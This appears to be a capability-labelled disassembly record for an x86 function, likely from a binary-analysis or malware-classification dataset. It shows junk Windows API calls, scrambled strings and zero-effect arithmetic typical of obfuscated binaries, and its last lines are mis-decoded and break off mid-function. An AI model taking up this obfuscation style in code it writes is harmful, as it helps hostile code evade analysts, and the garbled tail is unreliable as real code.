Function at 0x5d7730
Capabilities:
Check http status code
Encode data using base64
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5f28
call fcn.005ff440
mov dword [ebp - 0x28], 0x1c31
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0x105b
mov dword [ebp - 0x1c], 0x24d
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0x159f
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x38], 0x1de0
mov dword [ebp - 8], 0x8a4
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x14], 0
jne 0x5d779a
cmp dword [ebp - 0x1c], 0
jne 0x5d7e57
push str.etaenemsuftrtl
push 0xad9697c
push 0xc2c368f
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
imul ecx, dword [ebp - 0xc], 0
imul ecx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x668], 0
xor edx, edx
mov dword [ebp - 0x664], edx
mov dword [ebp - 0x660], edx
mov dword [ebp - 0x65c], edx
push 0x7bcef7a
push 0
lea eax, [ebp - 0x668]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 4], eax
movzx ecx, word [ebp - 0x14]
xor edx, edx
sub edx, ecx
mov dword [ebp - 0x20], edx
xor eax, eax
mov word [ebp - 0x1078], ax
xor ecx, ecx
mov dword [ebp - 0x1076], ecx
mov dword [ebp - 0x1072], ecx
mov dword [ebp - 0x106e], ecx
mov dword [ebp - 0x106a], ecx
mov dword [ebp - 0x1066], ecx
mov dword [ebp - 0x1062], ecx
mov dword [ebp - 0x105e], ecx
mov dword [ebp - 0x105a], ecx
mov dword [ebp - 0x1056], ecx
mov word [ebp - 0x1052], cx
lea edx, [ebp - 0x1078]
push edx
push 0xad8cb0d
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x2c], 0
je 0x5d7992
push 0xd16ea20
push 0x6f84b7f
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0xd61a740
push 0xa1b244f
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x965
movzx edx, byte [ebp - 0xc]
mov dword [ebp - 0x24], edx
xor eax, eax
sub eax, dword [ebp - 8]
sub eax, dword [ebp - 8]
sub eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 4]
xor edx, edx
sub edx, ecx
add edx, dword [ebp - 0x2c]
and eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
movzx ecx, byte [ebp - 0x10]
mov edx, dword [ebp - 0xc]
sub edx, ecx
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
push 0xfda94
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x720
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
movzx ecx, word [ebp - 0xc]
lea edx, [eax + ecx - 0x17c2]
mov byte [ebp - 4], dl
movzx eax, byte [ebp - 0x24]
or eax, dword [ebp - 0x2c]
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x20]
add ecx, 9
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], edx
movzx eax, word [ebp - 0x2c]
add eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x20], 0x732
jb 0x5d7919
cmp dword [ebp - 0x18], 0x975
jb 0x5d78b5
movzx ecx, byte [ebp - 0x18]
mov edx, dword [ebp - 4]
sub edx, ecx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
lea eax, [eax + ecx - 0xe83]
or edx, eax
mov dword [ebp - 0x24], edx
lea ecx, [ebp - 0x10]
push ecx
push 0x1eb0b19
lea edx, [ebp - 0x14]
push edx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x20], eax
push 0x497e4b5
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
je 0x5d7a6f
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x2c]
sub ecx, edx
mov dword [ebp - 0xc], ecx
xor eax, eax
sub eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x10]
shr eax, cl
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x68], 0
xor ecx, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
push 0xf8ca793
push 0
lea edx, [ebp - 0x68]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
push 0x1a398cb
push 0x7501888
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x5418], 0
push 0x2c
push 0
lea edx, [ebp - 0x5414]
push edx
call fcn.005ff470
add esp, 0xc
lea eax, [ebp - 0x5418]
push eax
push str.iayfto
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 4], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x1c]
imul edx, dword [ebp - 8], 0
sub ecx, edx
add ecx, dword [ebp - 8]
mov eax, dword [ebp - 8]
lea ecx, [ecx + eax + 0x7ca]
mov dword [ebp - 0x2c], ecx
jmp 0x5d7a7b
mov edx, dword [ebp - 0x18]
add edx, 0xe23
mov byte [ebp - 4], dl
lea eax, [ebp - 8]
push eax
push 0x7252d66
lea ecx, [ebp - 8]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x24], eax
imul edx, dword [ebp - 0x20], 0
xor eax, eax
sub eax, edx
add eax, dword [ebp - 0x14]
or eax, dword [ebp - 8]
imul ecx, dword [ebp - 4], 0
xor edx, edx
sub edx, ecx
or eax, edx
mov word [ebp - 0x18], ax
mov dword [ebp - 4], 0
jmp 0x5d7ac1
mov eax, dword [ebp - 4]
add eax, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x30
jae 0x5d7c08
cmp dword [ebp - 0x14], 0
ja 0x5d7b0c
push str.nrralrgaaettalcynroe
push 0xc2493e5
push 0x6f2eb37
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x20], eax
movzx ecx, word [ebp - 0xc]
imul ecx, dword [ebp - 0x28]
imul edx, ecx, 0xd30
mov eax, dword [ebp - 0x28]
lea ecx, [edx + eax - 0x54a]
and ecx, 0xeb3
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x10]
push edx
push 0xbe4bd0d
lea eax, [ebp - 8]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 8]
movzx edx, word [ebp - 0xc]
add ecx, edx
sub ecx, dword [ebp - 0xc]
or ecx, 0x17b4
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jae 0x5d7b93
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x14]
je 0x5d7b93
push str.otrgpaphohroegar
push 0xd4a42d4
push 0xee89c1c
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x20], eax
lea edx, [ebp - 8]
push edx
push 0x2db32e2
lea eax, [ebp - 0x10]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x24], eax
push 0x7d50130
push 0xe4f4daa
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x1c], eax
movzx ecx, byte [ebp - 0x1c]
xor edx, edx
sub edx, ecx
sub edx, dword [ebp - 0xc]
and edx, dword [ebp - 0x28]
mov dword [ebp - 0x24], edx
xor eax, eax
mov word [ebp - 0xdd0], ax
xor ecx, ecx
mov dword [ebp - 0xdce], ecx
mov dword [ebp - 0xdca], ecx
mov dword [ebp - 0xdc6], ecx
mov dword [ebp - 0xdc2], ecx
mov dword [ebp - 0xdbe], ecx
mov dword [ebp - 0xdba], ecx
mov dword [ebp - 0xdb6], ecx
mov dword [ebp - 0xdb2], ecx
mov dword [ebp - 0xdae], ecx
mov word [ebp - 0xdaa], cx
lea edx, [ebp - 0xdd0]
push edx
push 0xe37221b
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x2c], eax
jmp 0x5d7ab8
cmp dword [ebp - 0x18], 0
jne 0x5d7d51
xor eax, eax
sub eax, dword [ebp - 4]
movzx ecx, word [ebp - 0x2c]
sub eax, ecx
sub eax, dword [ebp - 8]
or eax, dword [ebp - 0x14]
mov word [ebp - 0x18], ax
mov edx, dword [ebp - 0x24]
mov dword [ebp - 4], edx
mov dword [ebp - 0x1c], 0
jmp 0x5d7c3f
mov eax, dword [ebp - 0x1c]
add eax, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x20
jae 0x5d7ca1
push 0xac3bd50
push 0x9125647
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x18], eax
imul ecx, dword [ebp - 0x20], 0
xor edx, edx
sub edx, ecx
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x6e8], 0
xor eax, eax
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], eax
push 0xb723f69
push 0
lea ecx, [ebp - 0x6e8]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x24], eax
jmp 0x5d7c36
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0
jmp 0x5d7cb9
mov eax, dword [ebp - 0x14]
add eax, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jae 0x5d7d23
imul ecx, dword [ebp - 0x20], 0
add ecx, 0x1c6b
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x5c58], 0
push 0x2c
push 0
lea edx, [ebp - 0x5c54]
push edx
call fcn.005ff470
add esp, 0xc
lea eax, [ebp - 0x5c58]
push eax
push str.huaeapeyhuaklauirtlm
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x18], eax
xor ecx, ecx
sub ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 8]
movzx edx, word [ebp - 0x24]
imul edx, dword [ebp - 4]
sub ecx, edx
add ecx, dword [ebp - 0x24]
movzx eax, byte [ebp - 0x2c]
and ecx, eax
mov dword [ebp - 0x28], ecx
jmp 0x5d7cb0
movzx ecx, word [ebp - 4]
movzx edx, word [ebp - 0x20]
movzx eax, byte [ebp - 0x24]
sub edx, eax
imul eax, dword [ebp - 4], 0
add edx, eax
or ecx, edx
mov dword [ebp - 0x2c], ecx
push 0xf0df023
push 0xb212ef8
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x20], eax
imul ecx, dword [ebp - 0x18], 0
movzx edx, word [ebp - 4]
sub ecx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 4]
jne 0x5d7d72
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x20]
jne 0x5d7e44
push 0xa6fce32
push 0xaf5a0b7
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], 0x648
movzx edx, word [ebp - 4]
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x14]
shl edx, cl
mov word [ebp - 0x20], dx
movzx eax, word [ebp - 0x2c]
sub eax, 0x3288
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0xc]
add ecx, 0x14
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x20]
movzx eax, byte [ebp - 0x2c]
imul eax, dword [ebp - 4]
add edx, dword [ebp - 0x24]
add eax, edx
sub eax, dword [ebp - 0x24]
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 0xb0bd72b
push 0x45b3ce9
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
add eax, 0xd03
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0x65c
jb 0x5d7daa
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0x7d3d1b2
push 0x967d8b3
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x10], eax
movzx eax, byte [ebp - 0x18]
imul eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x10]
imul eax, edx, 0
xor ecx, ecx
sub ecx, eax
mov dword [ebp - 8], ecx
jmp 0x5d7e70
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
sub edx, 0x2a5
xor ecx, ecx
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
shl edx, cl
mov dword [ebp - 0x2c], edx
movzx eax, word [ebp - 0x14]
cmp dword [ebp - 0x18], eax
jne 0x5d7e83
cmp dword [ebp - 0xc], 0
je 0x5d8ac8
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x20]
je 0x5d7e97
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x18]
je 0x5d7f60
mov dword [ebp - 0x88], 0
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
push 0xc92bac2
push 0
lea ecx, [ebp - 0x88]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
sub edx, 0x2f35
mov dword [ebp - 0x18], edx
push str.hsprhho
push 0xd358b5
push 0x5775802
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 4]
push eax
push 0x9ce49e8
lea ecx, [ebp - 0x24]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x18], eax
movzx edx, word [ebp - 8]
mov eax, dword [ebp - 0x28]
sub eax, edx
add eax, 0x14d2
sub eax, dword [ebp - 0x10]
mov word [ebp - 0x1c], ax
mov dword [ebp - 0xa28], 0
xor ecx, ecx
mov dword [ebp - 0xa24], ecx
mov dword [ebp - 0xa20], ecx
mov dword [ebp - 0xa1c], ecx
push 0xbb973d
push 0
lea edx, [ebp - 0xa28]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0xa37
sub eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x14], 0
jbe 0x5d7f70
cmp dword [ebp - 0x24], 0
jne 0x5d811c
mov dword [ebp - 0x24], 0
jmp 0x5d7f82
mov ecx, dword [ebp - 0x24]
add ecx, 4
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 8
jae 0x5d7fc8
movzx edx, byte [ebp - 0xc]
mov eax, dword [ebp - 0x10]
lea ecx, [eax + edx - 0x1c7e]
sub ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x28]
or ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
movzx edx, word [ebp - 8]
mov ecx, edx
imul ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov eax, 0xc44
sar eax, cl
mov byte [ebp - 0x2c], al
movzx ecx, byte [ebp - 0x18]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], ecx
jmp 0x5d7f79
mov dword [ebp - 0x3258], 0
push 0x2c
push 0
lea edx, [ebp - 0x3254]
push edx
call fcn.005ff470
add esp, 0xc
lea eax, [ebp - 0x3258]
push eax
push str.nrgslhleya
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
imul edx, dword [ebp - 0x1c], 0
add edx, dword [ebp - 0x24]
movzx eax, byte [ebp - 0x14]
add eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
and edx, eax
mov word [ebp - 0x18], dx
mov dword [ebp - 0x20], 0x6fa
movzx ecx, word [ebp - 4]
xor edx, edx
sub edx, ecx
add edx, dword [ebp - 8]
and edx, 0
mov byte [ebp - 0x24], dl
xor eax, eax
sub eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
imul ecx, dword [ebp - 4], 0
add eax, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x20]
add edx, 0x1b
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 4]
or eax, ecx
mov dword [ebp - 0x28], eax
push 0x97fde4e
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x2c], 0xda7
movzx edx, byte [ebp - 4]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x1c], 0
sub eax, ecx
or edx, eax
mov word [ebp - 0x10], dx
mov edx, 0xffffe7c2
sub edx, dword [ebp - 4]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x2c]
add eax, 6
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
push 0xfc98965
push 0xacc372d
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x2c], 0xdb9
jb 0x5d8096
cmp dword [ebp - 0x20], 0x74b
jb 0x5d8034
lea edx, [ebp - 0x2c]
push edx
push 0x6b2501b
lea eax, [ebp - 0xc]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
mov dword [ebp - 0x10], eax
push str.leiualianahupyet
push 0xf1ac3af
push 0xc000c69
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x1ace
ja 0x5d812b
cmp dword [ebp - 0x18], 0
jne 0x5d819e
push 0x8028ff6
push 0x4289399
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x14], eax
push 0xd0d1de4
push 0
call dword [sym.imp.USER32.dll_GetClassLongW]
mov dword [ebp - 8], eax
movzx ecx, byte [ebp - 4]
xor edx, edx
sub edx, ecx
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
lea ecx, [edx + eax + 0x1744]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x24]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
push 0x5e835ef
push 0x5e6c637
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x18], eax
push 0x77438a2
push 0xe6767b1
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
mov dword [ebp - 0x2c], eax
movzx eax, word [ebp - 0x10]
cmp dword [ebp - 0x2c], eax
jne 0x5d82a7
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x20]
movzx edx, byte [ebp - 0x20]
add ecx, dword [ebp - 4]
add edx, ecx
mov eax, dword [ebp - 0x20]
lea ecx, [edx + eax + 0xfc5]
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0xc]
xor eax, eax
sub eax, edx
movzx ecx, word [ebp - 0x28]
imul edx, ecx, 0x19d9
add eax, edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x14]
xor eax, ecx
mov word [ebp - 8], ax
push str.lehosdvr
push 0xd40eef2
push 0xc00a772
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x14], eax
xor edx, edx
mov word [ebp - 0x28b0], dx
xor eax, eax
mov dword [ebp - 0x28ae], eax
mov dword [ebp - 0x28aa], eax
mov dword [ebp - 0x28a6], eax
mov dword [ebp - 0x28a2], eax
mov dword [ebp - 0x289e], eax
mov dword [ebp - 0x289a], eax
mov dword [ebp - 0x2896], eax
mov dword [ebp - 0x2892], eax
mov dword [ebp - 0x288e], eax
mov word [ebp - 0x288a], ax
lea ecx, [ebp - 0x28b0]
push ecx
push 0x12c5c4d
push 0
call dword [sym.imp.GDI32.dll_SetPixelFormat]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa8], 0
xor edx, edx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], edx
push 0x3d9b701
push 0
lea eax, [ebp - 0xa8]
push eax
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0
je 0x5d83f0
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 4]
jne 0x5d83f0
mov edx, dword [ebp - 0x20]
sub edx, 0xc05
imul eax, dword [ebp - 0x1c], 0
sub edx, eax
and edx, dword [ebp - 0x24]
mov word [ebp - 0x18], dx
mov ecx, dword [ebp - 0x14]
sub ecx, 0x3a31
sub ecx, dword [ebp - 8]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 4]
imul eax, dword [ebp - 4], 0x122c
imul eax, dword [ebp - 0x20]
add edx, eax
movzx ecx, byte [ebp - 0x2c]
imul eax, ecx, 0
add edx, eax
or edx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
imul ecx, dword [ebp - 4], 0
add ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0xc]
mov word [ebp - 0x10], cx
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 8]
push eax
push 0x49cba4e
push 0x50a280b
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0xdc
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x1c]
mov byte [ebp - 0xc], cl
xor edx, edx
sub edx, dword [ebp - 0x1c]
mov eax, 0x12dc
sub eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x20]
or edx, eax
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 4]
add ecx, 2
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0xf4a
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x708], 0
xor eax, eax
mov dword [ebp - 0x704], eax
mov dword [ebp - 0x700], eax
mov dword [ebp - 0x6fc], eax
push 0xdd63d84
push 0
lea ecx, [ebp - 0x708]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 8], eax
movzx edx, byte [ebp - 0x2c]
sub edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x1e8b
shr edx, cl
mov dword [ebp - 0x14], edx
push str.enildarftrisetihiea
push 0xac1a596
push 0x6022627
push 0
call dword [sym.imp.GDI32.dll_DrawEscape]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 4], 0xe0
jb 0x5d8343
movzx eax, byte [ebp - 4]
imul ecx, eax, 0
sub ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], 0x597
mov edx, 0xea
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
movzx ecx, byte [ebp - 0x20]
imul edx, ecx, 0
sub eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add eax, 0x18
mov dword [ebp - 0x28], eax
imul ecx, dword [ebp - 0x2c], 0
add ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
movzx edx, word [ebp - 4]
sub ecx, edx
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
movzx eax, word [ebp - 0x10]
movzx ecx, byte [ebp - 0x1c]
add eax, ecx
mov word [ebp - 0x18], ax
cmp dword [ebp - 0x14], 0
je 0x5d849a
movzx edx, word [ebp - 0x18]
cmp dword [ebp - 0x14], edx
ja 0x5d849a
push 0xb7662a9
push 0xf4d4140
push 0
call dword [sym.imp.USER32.dll_GetMenuDefaultItem]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc8], 0
xor eax, eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
push 0x71aad4f
push 0
lea ecx, [ebp - 0xc8]
push ecx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x14], eax
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
jae 0x5d8507
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub eax, edx
mov ecx, dword [ebp - 8]
imul ecx, dword [ebp - 0x10]
xor edx, edx
sub edx, ecx
or eax, edx
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x48d8], 0
push 0x2c
push 0
lea eax, [ebp - 0x48d4]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x48d8]
push ecx
push str.bfheaaeaooeeu
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x24], eax
movzx edx, word [ebp - 0x20]
add edx, 0xbf0
mov dword [ebp - 4], edx
cmp dword [ebp - 0x1c], 0
je 0x5d8532
cmp dword [ebp - 0x10], 0
je 0x5d8532
imul eax, dword [ebp - 8], 0
sub eax, dword [ebp - 0x20]
movzx ecx, byte [ebp - 0x10]
add eax, ecx
and eax, 0
mov byte [ebp - 4], al
mov edx, dword [ebp - 0x2c]
xor edx, 0x2eac
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 4]
sub eax, dword [ebp - 0x24]
sub eax, dword [ebp - 4]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], 0
jne 0x5d85d8
mov dword [ebp - 0xbc8], 0
xor ecx, ecx
mov dword [ebp - 0xbc4], ecx
mov dword [ebp - 0xbc0], ecx
mov dword [ebp - 0xbbc], ecx
push 0xefbb3e1
push 0
lea edx, [ebp - 0xbc8]
push edx
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x32b8], 0
push 0x2c
push 0
lea eax, [ebp - 0x32b4]
push eax
call fcn.005ff470
add esp, 0xc
lea ecx, [ebp - 0x32b8]
push ecx
push str.pgeo
push 0
call dword [sym.imp.USER32.dll_GetClassInfoExW]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
movzx eax, byte [ebp - 0x20]
add edx, eax
sub edx, dword [ebp - 4]
add edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
lea edx, [edx + ecx + 0x15ec]
mov dword [ebp - 8], edx
cmp dword [ebp - 0x28], 0x5df
jb 0x5d8400
movzx ecx, word [ebp - 0x18]
mov eax, 0x176c
shl eax, cl
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
loopne 0x5d8609
test byte [ecx + eax], cl
add byte [eax], al
cmp dword [ebp - 0x1c], 0
jne 0x5d870b
mov edx, dword [ebp - 0x24]
and edx, 0
mov dword [ebp - 8], edx
push 0x2a1cf18
